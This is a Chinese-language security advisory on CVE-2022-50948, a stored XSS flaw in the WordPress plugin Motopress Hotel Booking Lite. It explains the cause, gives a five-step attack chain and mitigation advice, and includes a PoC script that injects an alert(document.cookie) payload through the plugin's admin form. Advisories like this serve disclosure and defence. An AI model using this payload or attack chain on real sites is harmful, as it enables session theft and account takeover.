IPBUF安全漏洞报告
English
CVE-2022-50948 CVSS 6.4 中危

CVE-2022-50948: Motopress Hotel Booking Lite存储型XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2022-50948
漏洞类型
存储型跨站脚本攻击
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Motopress Hotel Booking Lite

相关标签

Stored XSSWordPressMotopressCVE-2022-50948Web漏洞插件漏洞

漏洞概述

Motopress Hotel Booking Lite是一款WordPress酒店预订插件。其4.2.4版本存在严重的存储型跨站脚本(XSS)漏洞。该漏洞允许低权限攻击者在创建住宿类型时,通过标题和摘要字段注入恶意脚本。当管理员或访客访问受感染页面时,恶意代码将在浏览器中自动执行,从而导致会话劫持、账户接管或恶意重定向等安全风险。

技术细节

该漏洞源于Motopress Hotel Booking Lite插件在处理住宿类型创建或编辑请求时,未对用户输入的“title”和“excerpt”参数实施严格的过滤和转义。这是一个典型的存储型XSS漏洞。攻击者首先需要拥有插件后台的编辑权限(满足CVSS PR:L要求)。攻击者通过后台面板添加新的住宿类型,在标题或描述字段中注入JavaScript Payload(例如`<script>`标签或事件处理器)。服务器将未经验证的数据存储在数据库中。当其他用户(如管理员)浏览包含该住宿类型的页面时,服务器从数据库读取并渲染数据,导致Payload在受害者浏览器上下文中执行。由于CVSS向量为S:C,该漏洞利用了浏览器的同源策略特性,可能影响到同一域下的其他页面,从而扩大了攻击面和潜在危害,不仅限于当前页面。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者注册或获取一个具有低权限(如编辑或作者)的WordPress账户,该账户需有权限使用Motopress插件创建住宿类型。
STEP 2
步骤2:注入恶意载荷
攻击者登录后台,导航至酒店预订设置页面,创建新的住宿类型,并在“标题”或“摘要”输入框中输入恶意的JavaScript代码。
STEP 3
步骤3:存储恶意数据
由于服务器未对输入数据进行适当的过滤和转义,将包含恶意脚本的 Payload 存储在网站的数据库中。
STEP 4
步骤4:触发漏洞
当管理员、编辑或普通访客浏览网站前端显示该住宿类型的页面时,服务器会从数据库读取并渲染该恶意内容。
STEP 5
步骤5:执行攻击
受害者的浏览器解析HTML并执行其中的恶意脚本,攻击者可借此窃取Session Cookie、重定向用户或进行进一步的客户端攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2022-50948 (Stored XSS) Target: Motopress Hotel Booking Lite < 4.2.5 Description: Inject script into Accommodation Type Title or Excerpt. --> <script> // Simulation of the vulnerable HTTP POST request // Attacker needs to be logged in with permissions to manage accommodation types var payload = '<script>alert(document.cookie)<\/script>'; var formData = new FormData(); formData.append('mphb_attribute_title', payload); // Vulnerable parameter: Title formData.append('mphb_attribute_excerpt', 'Test Accommodation'); // Vulnerable parameter: Excerpt formData.append('action', 'mphb_add_attribute'); // Nonce and other form fields would be required in a real scenario fetch('/wp-admin/admin.php?page=mphb_booking_attributes&action=add', { method: 'POST', body: formData, credentials: 'include' }).then(response => console.log('Payload injected successfully')); </script>

影响范围

Motopress Hotel Booking Lite 4.2.4

防御指南

临时缓解措施
建议用户立即检查并更新Motopress Hotel Booking Lite插件。若暂时无法升级,应严格限制对插件后台管理页面的访问权限,仅允许受信任的管理员操作,并对数据库中已存在的住宿类型数据进行安全审计,清理可能存在的恶意脚本。

参考链接